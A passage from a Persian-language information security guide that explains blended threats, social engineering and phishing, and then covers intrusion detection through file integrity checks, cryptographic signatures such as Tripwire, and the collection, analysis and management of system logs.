اي اي برنامـه  يك تهديد چندوجهي، حملـه    . هستند "تهديدات چندوجهي "شدة جديد و خطرناكترين آنها      ريزيبيشتر تهديدهاي برنامه  
توانـد يـك   يك تهديد چندوجهي مي. شودكند و از طرق مختلفي منتشر ميمختلف حمله را تركيب مياست كه ويژگيهاي چند نوع      

هايي از خودش به آدرسهاي موجود در دفترچة آدرسـهاي رايانـة            اي باشد كه از طريق نامة الكترونيكي با فرستادن نسخه         كرم شبكه 
پس از آلـودن سيـستم، يـك درب مخفـي بـراي ورود              . شودنتشر مي آلوده، و يا از طريق اشتراك فايل با ساير سيستمهاي متصل م           

شده در آينده، و نيز يك بمـب منطقـي بـراي انجـام يـك                براي آغاز يك حملة تخريب سرويس توزيع       zombieمجدد به آن، يك     
ي است، با ايـن تفـاوت   وجه دفاع در برابر تهديدات چندوجهي مشابه دفاع در برابر تهديدات تك  . كندشده ايجاد مي  تخريب زمانبندي 

  .بهترين راه مقابله با آنها استفاده از يك سيستم دفاعي چندلايه است: كه بايد تمام جهات را با هم در نظر گرفت
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  مهندسي اجتماعي
پـذيريها، دسترسـيهاي يـك      اي اين امكان وجود دارد كه با سوء استفاده از برخي اشكالات و آسـيب              در بسياري از سيستمهاي رايانه    

تواند يك نام كـاربري و      درنتيجه يك مهاجم زبده در بسياري از سيسمتها مي        . اربر عادي را به ابركاربر يا راهبر سيستم افزايش داد         ك
  .رمز عبور عادي را به سرقت ببرد، و سپس كنترل كامل سيستم را با استفاده از اين روش بدست آورد

مهندسـي اجتمـاعي    . است" مهندسي اجتماعي "ي و رمز عبور استفاده از فنون        يكي از رايجترين راههاي بدست آوردن يك نام كاربر        
براي انجام يك حملـة مهندسـي       . باشداي مي ترين و مؤثرترين ابزارهاي كسب دسترسي غيرمجاز به سيستمهاي رايانه         يكي از ساده  

ي روابط اجتماعي، در مورد سازمان اطلاعاتي       كند از طريق برقرار   زند و سعي مي   اجتماعي، معمولاً مهاجم به سازمان مقصد تلفن مي       
بعنوان مثال ممكن است مهاجم تظاهر كند كه از كاربران جديد است و رمز عبور خود را فراموش كرده، و بخواهـد كـه                    . بدست آورد 

ارد كـه رمـز     يا ممكن است تظاهر كند كه نمايندة يك سرويس خدماتي است و براي پـشتيباني نيـاز د                 . رمز عبورش تغيير داده شود    
خواهنـد در حـل   شـوند، چـون عمـوم مـردم مـي      حملات مهندسي اجتماعي معمولاً مؤثر واقع مـي       . عبور راهبر سيستم را تغيير دهد     

  .ايِ بازيهاي اعتماد به نفس دانستتوان معادلِ رايانهدر واقع قرار گرفتن در مسير اين حملات را مي. مشكلات سهيم باشند

 وجود دارنـد كـه يكجـا بـه          "phishing"هاي به اصطلاح    تعداد زيادي برنامه  . وان بطور خودكار انجام داد    تمهندسي اجتماعي را مي   
هـا درخواسـت    برخـي برنامـه   . فرستندهزاران يا دهها هزار كاربر، يك نامة الكترونيكي مبتني بر يكي از فنون مهندسي اجتماعي مي               

  .هاي معتبر كارتهاي اعتبارير نيز درخواست شمارهكنند و برخي ديگدريافت نام كاربري و رمز عبور مي

به كاربران بايد آموزش داد     . مؤثرترين روش مقابله با مهندسي اجتماعي تهية يك برنامة آموزشي فشرده و جدي براي كاربران است               
شناسـند اطلاعـات امنيتـي      ان نمـي  كه هيچگاه به كسي كه او را بعنوان كارمند مجاز بخش امنيتي سازم            ) و متناوباً به آنها يادآوري كرد     (

به كاربران بايد گفته شود كه هيچيـك از كارمنـدان امنيتـي             . ندهند، و حتي در آنصورت هم اطلاعات را تنها به خود شخص بدهند            
هيچگاه از آنان نخواهد خواست كه رمز عبور، شمارة كارت اعتباري، يا ساير عناصر مکفي براي تـصديق هويـت را فـاش سـازند؛ و                   

  .ربران درصورت دريافت چنين پيامهايي بايد موارد را سريعاً به افراد مسئول گزارش دهندكا

  

https://telegram.me/karnil
www.karnil.com


  نيامنيت فناوري اطلاعات و راهبران ف: بخش پنجم

 

٤٢٣  

ش
بخ

 
جم

پن
  

  فصل نهم
  كشف و مديريت نفوذ

  كليات
در اين فصل به بحث در مورد تدابيري چـون بـازبيني،            . عليرغم تلاشهاي بسيار، ممكن است سيستم شما مورد دستكاري قرار گيرد          

گيري مجدد  پردازيم و مرحله به مرحله راه بدست      انوني براي كشف دستكاريها و تشخيص تغييرات مي       ثبت وقايع، و انجام اقدامات ق     
  .كنترل رايانه را به شما نشان خواهيم داد

  مميزي و ثبت وقايع
 ـ   بعد از نصب سيستمهاي دفاعي روي رايانه، بايد مطمئن شويد كه اين سيستمهاي دفاعي به درستي عمل مي                  د كنند، و همچنين باي

: دو نوع متداول مميزي عبارتنـد از      . نامند اين فرآيند را نظارت يا مميزي مي      . از هرگونه رفتار غيرعادي و ساير مشكلات آگاهي يابيد        
  .بررسي جامعيت فايلها، و بررسي فايلهاي ثبت سيستمي

  بررسي يکپارچگي و صحت فايلها
ترين دلايـل آن تـشخيص   بيشماري داشته باشد، اما يكي از اصلي     تواند دلايل   بررسي يکپارچگي و صحت فايلها در يك سيستم مي        

  :اصولاً سه راه براي كشف تغييرات در يك فايل وجود دارد. تغييرات بوجودآمده بعد از يك حملة نفوذ يا دستكاري است

  گردد؛ ترين راه محسوب ميهاي اصلي؛ كه مطمئنها و مقايسة آنها با نسخههاي ثانويه دادهاستفاده از نسخه .١
عامـل نگهـداري      در مورد اقلامي كه بايد محافظت شوند؛ شامل زمان تغيير اقلام، كه بوسـيلة سيـستم                ٣٣٠هافرادادهنظارت بر    .٢

 كند؛ و هاي مميزي كه تغييرات فايلها را مشخص ميشوند، و نيز تمام ثبتها يا سلسلهمي
 .شدهاي و مقايسة امضاها با يك مقدار ذخيرههاي تحت نظارت و محاسبة دورهاستفاده از نوعي امضا براي داده .٣

در هر كدام از اين روشها راههاي زيادي براي بررسي يك سيستم كه دستكاري . هريك از اين روشها داراي فوايد و مضراتي هستند   
  :شدن آن مورد ترديد است وجود دارد

ه يك رايانة ديگر بعنوان يـك ديـسك كمكـي    ديسك سخت را بطور فيزيكي از روي رايانة مورد نظر خارج كنيد، ديسك را ب            •
 دوم را   عامل رايانـة   كنيد، و سپس سيستم    mountاندازي نماييد، ديسك را بصورت فقط خواندني        وصل كنيد، رايانة دوم را راه     

 ).يا اينكه براي انجام بررسي، عيناً يك نسخة دوم از روي ديسك تهيه كنيد(براي بررسي ديسك مورد استفاده قرار دهيد 
عامل مطمـئن از ديـسك فـشرده يـا          ديسك مشكوك را در رايانة مشكوك باقي بگذاريد، اما رايانة مشكوك را با يك سيستم               •

توانيـد ديـسك     سپس تنها با استفاده از ابزارهاي روي ديسك فـشرده يـا ديـسك فلاپـي مـي                 . اندازي كنيد ديسك فلاپي راه  
 .شدة آنرا تجزيه و تحليل نماييد فايلِ احتمالاً دستكاريكنيد و سيستمِ mountخواندني مشكوك را بصورت فقط

 .به رايانة مشكوك وارد شويد و هر ابزار بررسي يکپارچگي و صحتي كه روي آن نصب بود را به اجرا در آوريد •
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عمـل  روش سـوم رايجتـرين راهكـار امـا در     . باشدواضح است كه كاملترين راه براي بررسي سيستم مشكوك، همان روش اول مي       
تـوان اعتمـاد كـرد؛ كـه ايـن مـسئله       ناكافي است؛ چراكه اگر واقعاً مهاجمي رايانة شما را دستكاري كرده باشد، به هيچ چيز آن نمي   

  .شودافزارهاي بررسي يکپارچگي و صحت، و پايگاههاي داده نيز ميشامل نرم

  )هاي ثانويهنسخه(اي هاي مقايسهنسخه

هاي تغييرنيافته و مقايسة بايت بـه       ها نگهداري يك نسخه از داده     ترين روش كشف تغييرات داده    ترين و راحت  درصورت نياز مطمئن  
هـا اسـت، بلكـه    شدن دادهاگر اختلافي ميان اين دو نسخه مشاهده شود نه تنها بيانگر دستكاري           . هاي روزمره است  بايت آنها با داده   

  .دهدتغييرات بوجود آمده را نيز نشان مي

ايـن روش  . براي اينكار بايد از هر فايل مهم يك نسخة ثانويه نگهداريـد . اي پرهزينه و دشوار است   هاي مقايسه  از نسخه  اما استفاده 
تنها نيازمند فضايي معادل دو برابر حجم اين فايلها است، بلكه ممكن است باعث تخطي از ضوابطي چون حق مالکيت گواهي يـا                       نه

 اسـتفاده از   ٣٣١).دهنـد به شما اجازة نگهداري تنها يك نسخه را در بايگاني مـي           " برداريحق نسخه "عمولاً قوانين   م. (برداري از فايلها گردد   حق نسخه 
برداري براي مقايسه، به معني خواندن كامل هر دوي فايلهاي اصلي و نسخة ثانويه بصورت بايت به بايت براي هر بـار                      روش نسخه 
  . بايد در محل امني نگهداري كردباشد، و البته از نسخة ثانويه نيزبررسي مي

اي يك مزيت ويژه دارد و آن اينكـه اگـر تغييـر غيرمجـازي مـشاهده                 هاي مقايسه حتي با وجود اين معايب، استفاده از روش نسخه        
 توانيد نسخة تغييريافته را با نسخة اصلي آن جايگزين كنيد و به اين ترتيـب سيـستم را بـه وضـعيت عـادي بـاز                           كرديد، براحتي مي  

توان بطـور محلـي، در پايگاههـاي راه دور، يـا               مي - همانطور كه در بخشهاي بعدي توصيح خواهيم داد          -ها  از اين نسخه  . گردانيد
  .روي شبكه نگهداري كرد

  هاي محلينسخه

. سـت هـاي قابـل حمـل ا      اي، گذاشتن آنها روي ديسكي ديگر خصوصاً رسانه       هاي مقايسه يك روش استاندارد براي نگهداري نسخه     
انـد يکپـارچگي و صـحت فايلهـا را     هاي قابل حمل توانـسته اند كه با ذخيرة فايلهاي حياتي سيستم روي رسانه    بسياري از افراد گفته   

شـود  مي mountشود،  گردان قرار داده مي   اي بوجود آيد، ديسك مربوطه در ديسک       اگر در مورد فايل خاصي شبهه      ٣٣٢.برقرار سازند 
منـد  توانيد از اين مزيـت بـا ارزش بهـره         اگر در پيكربندي اين ديسكها دقت كافي به خرج دهيد مي          . پذيرد و عمل مقايسه انجام مي    

اندازي را در   شويد كه اگر سيستم شما در اثر يك حمله يا بصورت تصادفي دستكاري شود يك نسخة كامل از سيستم خود براي راه                     
اي قابل حمل يا يكبار نوشتني مثل نوارها و ديـسكهاي فـشرده نيـز از همـين                  ه  گيري منظم روي رسانه   انجام پشتيبان . اختيار داريد 

  .مزايا برخوردارند

توانيد اين نـسخه  مي. باشدهايي از فايلها در قسمت ديگري از ديسك ميهاي ثانويه، تهية نسخهيك روش ديگر براي ذخيرة نسخه   
. سـمع نيـز از آن محافظـت نماييـد         هش دهيد و در برابـر اسـتراق       سازي و يا رمزگذاري كنيد تا حجم ديسك مصرفي را كا          را فشرده 

يـا بـيش از   (اگر بخواهيد يكبار در روز . سازي و رمزگذاري اين است كه براي انجام مقايسه، به پردازش اضافي نياز دارد         اشكال فشرده 
توانيـد از برنامـة     عـلاوه بـر آن نمـي      . يـاورد اين مقايسه را انجام دهيد ممكن است اين فعاليت اضافه آثار جانبي زيادي به بـار ب                ) آن

  . رمزگذاري با اين روش محافظت بعمل آوريد

  هاي راه دورنسخه

ها و پايگاههاي راه دور است به نحوي كه بدون حضور فيزيكـي             اي، ذخيرة آنها روي رايانه    هاي مقايسه روش سوم استفاده از نسخه    
 از ديسك   partitionتوانيد يك نسخه از تمام فايلهاي سيستم را در يك            نمونه مي  براي. در محل و از راه دور قابل دسترسي باشند        

                                                                                                                                            
  .دهندبراي پشتيباني را نميبرداري نسخه ة به شما اجاز-ها  و بسياري از گواهي-برداري نسخهحق مربوط به قوانين    ۳۳۱
  .باشد خارجي ميfirewireتوجه داشته باشيد كه اين توصيف مربوط به يك ديسك مبتني بر    ۳۳۲
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اشـتراك  خواندني بـه   يا يك پروتكل مشابه، بصورت فقط      NFSرا با استفاده از      partitionدهندة ايمن قرار دهيد و آن       يك سرويس 
هـاي  هاي اصلي براي آزمون جامعيت نـسخه    و از نسخه  كنند   mount را   partitionتوانند آن   پس از آن تمام مشتريها مي     . بگذاريد

هاي اصليِ مورد استفاده در انجام مقايسه از روي رايانـة راه دور برداشـته    البته بايد مطمئن باشيد كه تمام داده      . محلي استفاده نمايند  
  .ند كه هيچ تغييري گزارش نشودتواند آن فايلها را طوري دستكاري كدر غير اينصورت مهاجم مي. شوند و نه از ديسك محليمي

هاي  به خاطر داشته باشيد كه نگهداري از نسخه       . است" rdist"يك روش ديگر براي انجام مقايسه از راه دور روي شبكه، استفاده از              
مقايـسه  هاي اصـلي خـود   هاي مشترك و فايلهاي پيكربندي نيز بايد با نسخه فايلهاي اجرايي به تنهايي كافي نيست؛ بلكه كتابخانه       

  .شوند

  هافهرستهاي كنترل و فراداده

هـا فـضاي زيـادي از       براي نگهداري نـسخه   . ذخيرة يك نسخه از هر فايلِ حياتي و انجام مقايسة بايت به بايت بسيار پرهزينه است               
  .گذاردميعلاوه بر آن اگر مقايسه روي شبكه انجام گيرد، هر بار مقايسه سربار زيادي روي ديسك و شبكه . ديسك لازم است

هـا  در اينحالت بـراي انجـام مقايـسه، ايـن خلاصـه           . اي از خصوصيات مهم هر فايل يا شاخه است        يك روش كارآتر، ذخيرة خلاصه    
ها جامع و از حجم كمتري برخوردار باشند، بـه وضـوح            اگر اين خلاصه  . گردندشده مقايسه مي  شوند و با مقدار ذخيره    مجدداً توليد مي  

  .ي مقايسه خواهند بوديك روش كارآتر برا

اي تنهـا تغييـرات در      هـاي مقايـسه   نسخه. توان متوجه آنها شد   تواند تغييراتي را تشخيص دهد كه با مقايسة ساده نمي         اين روش مي  
، يـا زمـان   ٣٣٣وضـعيتهاي حفـاظتي  هايي مانند مالك فايـل،    دهند و قابليت تشخيص تغيير در فراداده      محتويات فايل را تشخيص مي    

هاي درون فايل هستند؛ چراكه اگر در مالك يا بيتهاي محـافظتي فايلهـا              ها مهمتر از داده   گاهي اوقات اين داده   . ل را ندارند  تغيير فاي 
 آنهـا در    ٣٣٤صـفات ترين شكل كنترل، فهرست كردن فايلها و        ساده. ها تغييرات اشتباه رخ دهد، ممكن است فاجعه به بار آيد          يا شاخه 

هاي معمولاً براي فايلهاي مهم، نگهداري تمام شاخه      . باشدشده مي يجه با يك نسخة از پيش ذخيره      يك فهرست كنترل و مقايسة نت     
  .بالاتر آن نيز لازم است

  ها و امضاهاسرجمع

تـوان فايلهـا را طـوري دسـتكاري كـرد كـه تغييـرات              مـي . توان فهرستهاي سادة كنترلي را مغلوب كرد      متأسفانه با كمي تلاش مي    
تـوان بـا دانـستن بلـوك مـورد نظـر،            بعنوان نمونه براي تغيير يك فايل مي      . كنيد تشخيص داده نشوند    ذخيره مي  اطلاعاتي كه شما  

چون تغيير از طريق سيستم فايل انجام نگرفته است، هيچ يك از اطلاعـات              . مستقيماً و مستقل از سيستم فايل، روي ديسك نوشت        
تواند ساعت سيستم را به آخـرين زمـان مجـاز بـراي             اي ديگر، مهاجم مي   نمونهبعنوان  . شوندمربوط به زمان تغيير فايل عوض نمي      

  .انجام تغييرات مشروع ببرد، فايل را تغيير دهد، و سپس ساعت سيستم را مجدداً به زمان اوليه بازگرداند

يك امضاي خوب بايد به تك تك       . توان براي فايلها امضا ايجاد كرد و امضاها را با هم مقايسه نمود            براي مقابله با اين تهديدات مي     
ايـن نيازمنـديها صـلاحيت      . بيتهاي فايل بستگي داشته باشد، و يك مهاجم نبايد بتواند فايل ديگـري بـا همـان امـضا توليـد كنـد                      

  .وردتوان آنها را برآهاي رمزنگاري ميبرند، ولي با استفاده از خلاصهرا زير سؤال مي) CRCمانند (الگوريتمهاي ساده سرجمعگيري 

هـايش  توانند چند نوع خلاصة رمزنگاري براي هر فايـل و فـراداده           افزارهاي خوب بررسي يکپارچگي و صحت فايلها معمولاً مي        نرم
مـثلاً يـك رسـانة قابـل حمـل يـا يكبـار           (وقتي از يك نسخة سالم براي توليد امضاها استفاده شود و از امضاها در محلي امن                 . توليد كنند 

. توان با امضاگيري مجدد و مقايسه با امضاي آن نسخة سالم براحتـي تـشخيص داد    شود، هر تغيير در فايلها را مي      نگهداري  ) نوشتني
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 راهنماي امنيت فناوري اطلاعات ٤٢٦ 

باز آن  است كه يك نسخة رايگان و متن      ) Tripwire) http://www.tripwire.comافزاري چندبستري براي انجام اينكار       يك بستة نرم  
  .باشد موجود ميLinuxدر 

  فايلهاي ثبت
، از فعاليتها يـا شـروط       ٣٣٥رخدادهاي ثبتي رخدادهاي قابل ثبت يا     . شودفايل ثبت، فايلي است كه وقوع رخدادها در آن ثبت مي          يك  

دهندة يك سيـستم  فايلهاي ثبت يكي از عناصر مهم تشكيل. خاصي هستند كه از نظر نويسندة يك برنامه ارزش ذخيره كردن دارند 
شده و سلسلة مميزي از گذشتة رايانة خود داريد كـه رديـابي مـشكلات و حمـلات را                   ة ذخيره با وجود آنها يك تاريخچ    : امن هستند 

توانيد قطعات اطلاعاتي را كنار هم بگذاريد و دليل يك اشكال، مبـدأ يـك               با استفاده از فايلهاي ثبت مي     . سازدبراي شما ممكن مي   
اي از آنـرا در اختيـار       وانيد جلوي صدمات را بگيريـد حـداقل سـابقه         تدر موارديكه نمي  . نفوذ، يا محدودة صدمات وارده را كشف كنيد       

آن ثبتها ممكن است دقيقاً همان چيزي باشند كه شما براي بازسازي سيستم خود، انجام تحقيقات، شهادت دادن در                   . خواهيد داشت 
  .دادگاه، يا گرفتن هزينة خسارتها از شرکت بيمه لازم داشته باشيد

  : در محلهاي مختلفي انجام شودتواندذخيرة ثبتها مي

 ثبتهـا در    Unixبراي مثال در سيستمهاي جديد      . توان روي همان رايانه كه رخداد روي آن اتفاق افتاده ذخيره كرد           ثبتها را مي   •
سيـستمهاي  . كننـد هاي ديگر اسـتفاده مـي     ها در شرايط خاص از شاخه     شوند، هرچند بعضي برنامه    ذخيره مي  var/log/شاخة  
معمولاً در (نمايند آوري و در يك فايل ثبت واحد ذخيره ميها را جمععامل و برنامه پيامهاي سيستمWindows NTر مبتني ب

هـاي منفـرد فايلهـاي ثبـت     ؛ هرچند در اين بسترها هم ممكن است برنامه)C:\WINNT\system32\config\SysEvent.Evtفايل  
 . مخصوص به خود را داشته باشند

اين رايانـة راه    .  را از طريق شبكه به يك رايانة راه دور فرستاد تا همگي بصورت يكجا و درکنار هم ذخيره شوند                   توان ثبتها مي •
تواند بعنوان يك محل مركزي براي نظارت بر تعداد زيادي رايانه روي     شود مي  ناميده مي  ٣٣٦دهندة ثبت سرويسدور كه گاهي    

وان بوسيلة يك ديوارة آتشِ مبتني بر ميزبان طوري پيكربندي كـرد كـه              تدهندة ثبت را مي   يك سرويس . يك شبكه بكار رود   
دهندة ثبـت  استفاده از يك سرويس. اي را روي شبكه بفرستدها را دريافت كند ولي نتواند هيچ بستهاطلاعات ثبتي ساير رايانه  

آل بـراي  ز راه دور، محلي ايدهيك سيستم متمركز ثبت ا. كنددر جلوگيري از پاك شدن فايلهاي ثبت توسط مهاجم كمك مي          
 .باشدآوري شده نيز ميياب روي ثبتهاي جمعافزار مهاجماجراي نرم

تـوان بـدون    طبيعي است كه اين دسته از ثبتها را نمي        . هاي يكبار نوشتني نوشت يا به چاپ رساند       توان روي رسانه  ثبتها را مي   •
 .تواند دردسرساز باشد آنها نيز ميدسترسي فيزيكي از بين برد، و البته نگهداري حجم زياد

براي مثال هرچند تلاشهاي ناموفق براي وارد كردن رمز عبـور بايـد ثبـت               . برخي اطلاعات را به دلايل امنيتي هرگز نبايد ثبت كرد         
كنند و ثبت اين     مي كاربران مكرراً رمز عبور خود را اشتباه تايپ       . شوند، ولي رمز عبور بكار رفته در اين تلاشها هرگز نبايد ثبت گردد            

برخـي راهبـران    . تواند به مهاجمان در يافتن رمز عبور صحيح و درنتيجه نفوذ به حساب كاربري شـخص كمـك كنـد                   اشتباهات مي 
 بخصوص اگر حسابي كه كـاربر نـام         -سيستم حتي اعتقاد دارند كه در تلاشهاي ناموفق براي ورود، نام كاربري نيز نبايد ثبت شود                 

 وجود خارجي نداشته باشد؛ و دليل آنها هم اين است كه گاهي كاربران رمـز عبـور خـود را بجـاي نـام كـاربري وارد                            آنرا وارد كرده  
  .كنند مي
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  رخدادهايي كه ثبتشان ضرورت دارد

د كنند، ولي ثبت بعضي از انواع رخدادها ضروري است و اينكار بايهرچند برنامه و سيستمهاي مختلف رخدادهاي متفاوتي را ثبت مي       
  :بوسيلة هر رايانة حساسي انجام شود

در برخي موارد ثبت الگوي كلـي ترافيـك   . اي از ميزبانهاي راه دور و اتصالات تلفني ورودي و خروجي مودمها اتصالات شبكه  •
هاي خروجي شود كه در بيـشتر مـوارد دليـل آن اسـتفادة غيرقـانوني يـك            تواند باعث كشف زياد بودن داده       ايِ شبكه مي  داده
 هاي محرمانة شما است؛اجم از پهناي باند براي انتقال دادهمه

اگر كسي از خارج كشور يا در ساعات غيرعادي به حساب كاربري يـك كـاربر محلـي                  . زمان و محل ورود كاربران به سيستم       •
 تواند نشانة يك تهاجم باشد؛وارد شد، اين امر مي

كند مهاجمان در تلاش هستند كه وارد رايانـة          شما باشد كه اعلام مي     تواند اخطاري براي  تلاشهاي ناموفق براي ورود، كه مي      •
 شما شوند؛

ايـن نـوع   . ها شامل زمان شروع و خاتمه، ميزان استفاده از ريزپردازنده، مالكيت، و امتيازات پـردازه              نگهداري مشخصات پردازه   •
البتـه اگـر    (ليل نفوذهاي امنيتي نيز مفيد است       تواند هر دستوري كه روي سيستم اجرا شده است را آشكار كند و در تح               ثبت مي 

 ؛)نخورده باقي مانده باشد دست

افـزاري، وجـود    تواند علامت يك مشكل سخت    اندازيهاي غيرمنتظره مي  تكرار راه . اندازيهاي مجدد سيستم  شدنها و راه  خاموش •
ده اسـت، يـا يـك مهـاجم راه دور كـه             اندازي مجدد كر  كاربره راه يك مهاجم با دسترسي فيزيكي كه سيستم را در حالت تك          

 خواسته ردپايش در حافظه باقي نماند باشد؛ و مي

اين موارد هميشه نيازمند توجـه هـستند؛ چـه توسـط            ). مثل پرشدن ديسك  (عامل  شده توسط سيستم  رخدادهاي استثناييِ گزارش   •
 .يك مهاجم بوجود آمده باشند و چه محصول روند طبيعي استفاده از سيستم باشند

كننـده، بـه هـر      اكثر سيـستمهاي ثبـت    . شود بايد پردازة توليدكنندة آن، و تاريخ و ساعت را نيز ثبت كرد            ر هر رخدادي كه ثبت مي     د
كه بيانگر اهميت آن است     " شدت"يا  " حساسيت"، و يك    )"هسته"، و يا    "شبكه"،  "نامه"مانند  (كند  كه مبدأ آنرا توصيف مي    " گروه"رخداد يك   

  : به ثبت رسيده استUnixمثال زير پيامي است كه توسط يك سيستم . دهندنسبت مي) "خطاي بحراني"، و يا "اخطار"، "عجهت اطلا"مانند (

Aug 14 08:02:12 «mail.info» r2 postfix/local[81859]: 80AD8E44308: 
to=«jhalonen@ex.com», relay=local,delay=1, status=bounced (unknown 
user: "jhalonen") 

 80AD8E44308دهد كه يك نامة الكترونيكي بـا شناسـة     اين پيام گزارش مي   .  ايجاد شده است   postfixاين پيام بوسيلة برنامة     
ــاربر   ــراي ك ــي  jhalonen@ex.comب ــد، و م ــت ش ــاربر        درياف ــون ك ــد، چ ــق در آم ــت تعلي ــه حال ــام ب ــه آن پي ــد ك گوي

jhalonen@ex.comنامه"اين واقعه " گروه. "" وجود خارجي نداشت) "mail ( جهت اطلاع"و حساسيت آن) "info (٣٣٧.باشدمي  

  تحليل فايل ثبت

دهنده كه در هر در يك سرويس. صرف ثبت كردن وقايع كافي نيست، بلكه ثبتها بايد مورد مطالعه و بررسي مداوم قرار داشته باشند                
هـاي  برنامـه . انـدازد  هم راهبران را به وحشت ميساعت ممكن است در آن صدها يا هزاران رخداد ثبت شود، حتي فكرِ خواندن آنها   

تر كنند و توجه شما را      فايلهاي ثبت ساده  ) كردنغربال(سازي  كنند انجام اينكار را با جمعبندي و خلاصه       تحليل فايلهاي ثبت سعي مي    
  .به رخدادهاي مهم جلب و از رخدادهاي عادي دور نمايند

                                                                                                                                            
 .مراجعه كنيد PUISکتاب  از ۶۵۴ تا ۶۴۲، به صفحات Unixتر در مورد پيكربندي، اولويتها و تسهيلات انجام ثبت در براي بحث جزئي   ۳۳۷
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دهند صافيها و عوامل مورد نظـر خـود را انتخـاب     به شما اجازه ميMicrosoft Event Viewerافزارهاي تحليل مانند برخي نرم
كننـد و هرگـاه اتفـاق مهمـي          بصورت بلادرنگ بر ثبتها نظارت مي      Unixهاي  دهنده در سرويس  Swatchبرخي ديگر مانند    . كنيد

  ٣٣٨.دهندبيافتد اخطار مي

  هافايلهاي ثبت اختصاصي برنامه

هـاي وب و    دهنـده سـرويس . كننـد ها از فايلهاي ثبت مخصوص به خود استفاده مي        daemonبردي خصوصاً   هاي كار بيشتر برنامه 
 نيـز درخواسـتها و انتقالهـاي    DNSهـاي  دهنـده كنند، سرويس همواره انتقال فايل و اتصالات را ثبت مي     FTPهاي  دهندهسرويس
هاي پست الكترونيكـي    دهندهنمايند و سرويس   را ثبت مي   هاqueryاي  هاي پايگاه داده  دهندهرسانند، سرويس ها را به ثبت مي    دامنه

خطاها و شرايط اسـتثنايي تقريبـاً       . كنندهمواره اتصالات و اطلاعاتي چون اندازة پيامها هنگام ارسال و دريافت شدن آنها را ثبت مي               
تـر از ثبتهـاي   گزارشـهايي قابـل اسـتفاده   در بسياري موارد، ابزارهاي تحليـل بـراي خلاصـه كـردن و تهيـة        . شوندهميشه ثبت مي  

  .اندمخصوص هر برنامه نيز بوجود آمده

  نويسثبتهاي دست

پـذيرد، بلكـه بوسـيلة خـود شـما و كارمنـدان       كند توسط رايانه انجام نمـي نوع ديگري از ثبت كه در تأمين امنيت به شما كمك مي  
دفاتر ثبت بايد كاغذي باشند     . اليتهاي روزانة خود را در آن ثبت كنيد       يك دفترچه براي ثبت وقايع داشته باشيد و فع        . گيردصورت مي 

كنيد، كسي كه بـه رايانـه شـما         از آنجا كه آنها را روي كاغذ نگهداري مي        . و در مكاني نگهداشته شوند كه از نظر فيزيكي امن باشد          
ثبتها يك بايگاني از اطلاعات مهـم هـستند كـه بـصورت     اين . تواند آنها را تغيير دهد حتي با امتياز دسترسي ابركاربر وارد شود، نمي       

  .الكترونيكي قابل دستكاري نيستند

هـا  توانيـد مـسائلي را ثبـت كنيـد كـه رايانـه            در اينجا شما مي   . اي دارند نويس مزاياي متعددي نسبت به ثبتهاي رايانه      ثبتهاي دست 
. توانيد ثبتهاي كاغـذي را بخوانيـد  ي سيستم خاموش است نيز مياز طرف ديگر حتي وقت . گذاريتوانند، مثلاً تهديدهاي به بمب     نمي

  .شونداي محسوب ميدر قوانين برخي كشورها ثبتهاي كاغذي مدارك معتبرتري از ثبتهاي رايانه

 تـوان هاي ثبت، زمان زيادي است كه براي به روز نگهداشتن آنها لازم است؛ چراكه ديگـر نمـي  بزرگترين مشكل استفاده از دفترچه   
شـود راهبـران    متأسفانه اين معضل زماني بزرگترين دليلـي اسـت كـه باعـث مـي              . برنامة خودكار سپرد  عمليات ثبت را به يك قطعه     

هايي با صدها يا هزاران رايانه كه هريك از آنها نيـاز بـه يـك                بخصوص در اداره  (سيستمها در استفادة مداوم از اين قبيل ثبتها اكراه داشته باشند            
روز نگهداشتن چندين دفترچة ثبت، سعي كنيد با كمي         شود بجاي تلاش بيهوده براي به     پيشنهاد مي ).  مخصوص به خود دارد    دفترچة ثبت 

دو روش براي كاستن از ثبتهاي اضـافي عبارتنـد از   . خلاقيت راهي براي كم كردن حجم ثبتها بدون كاسته شدن از ارزش آن بيابيد   
؛ که هرکدام اگر بصورت صحيح انجام شوند، چيزي         "هااي از رايانه  ي ثبت گروهي براي دسته    نگهدار"و  " سازي اطلاعات ثبت  فشرده"

  .كاهنداز ارزش ثبتها نمي

هـاي ثبـت بـه ازاي هـر اداره از           در دفترچـه  . ثبت به ازاي هر اداره، و ثبت به ازاي هر رايانـه           : اساساً دو نوع دفترچة ثبت وجود دارد      
تـوان بـه گـزارش رخـدادها و         اين اطلاعـات را مـي     . ها و عمليات شما مفيد هستند     براي تمام رايانه  كنيد كه   اطلاعاتي نگهداري مي  

اطلاعـات  (، و مـواد اطلاعـاتي       )خطرها، كارهاي پرسنلي روي كارمندان با امتيازات خـاص        قطعي برق، فعال شدن و تست زنگ      (رخدادهاي استثنايي   
) ...هـايي از پيكربنـدي مـسيريابها و   ، نـسخه Ethernet ماشـينهاي مجهـز بـه     MACريال ابزارهـا، آدرس     س ـافزار، شماره افزار و نرم  تماس، رسيدهاي سخت  

و در آن گزارشـات رخـدادهاي اسـتثنايي مثـل           . براي هر ماشين نيز بايد يك دفترچة ثبت مخصوص داشته باشيد          . بندي كرد  تقسيم
افـزار، و نيـز     ذف حسابهاي كاربري، تغيير رمز عبـور، نـصب نـرم          گزارش خرابيهاي سيستم، زمانهاي خاموش بودن رايانه، ايجاد و ح         

                                                                                                                                            
 .۶۵۷ تا ۶۵۴همان منبع، صفحات    ۳۳۸
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هـاي  هـاي فايلهـاي پيكربنـدي، فهرسـت وصـله         توانند شامل نسخه  مواد اطلاعاتي مي  . گيري از سيستم را به ثبت برسانيد      پشتيبان
  .شده، و نيز وضعيت پيكربندي ديسكها باشنداعمال

  مديريت فايلهاي ثبت

  :آوريمني در مورد فايلهاي ثبت ميدر اينجا چند توصية پايا

  گيريپشتيبان
زمانبنـدي  . شـوند  به روي رسـانة پـشتيبان منتقـل مـي          - ترجيحاً هر روز     -اطمينان حاصل كنيد كه تمام فايلهاي ثبت بطور منظم          

  . ن منتقـل شـده باشـند      شوند قبل از پاك شدن بـه روي پـشتيبا         اي باشد كه فايلهايي كه متناوباً پاك مي       گيري بايد به گونه    پشتيبان
  .شده به سيستم خود را در اختيار داريداي از رفتار و دسترسيهاي انجامشود كه در طول زمان سابقهبدين ترتيب اطمينان حاصل مي

  مرور كردن
بـه  . كنـد ياگر به طور مرتب ثبتها را مرور نكنيد، نگهداري آنها كمكي بـه شـما نم ـ               . فايلهاي ثبت را حداقل روزي يكبار مرور كنيد       

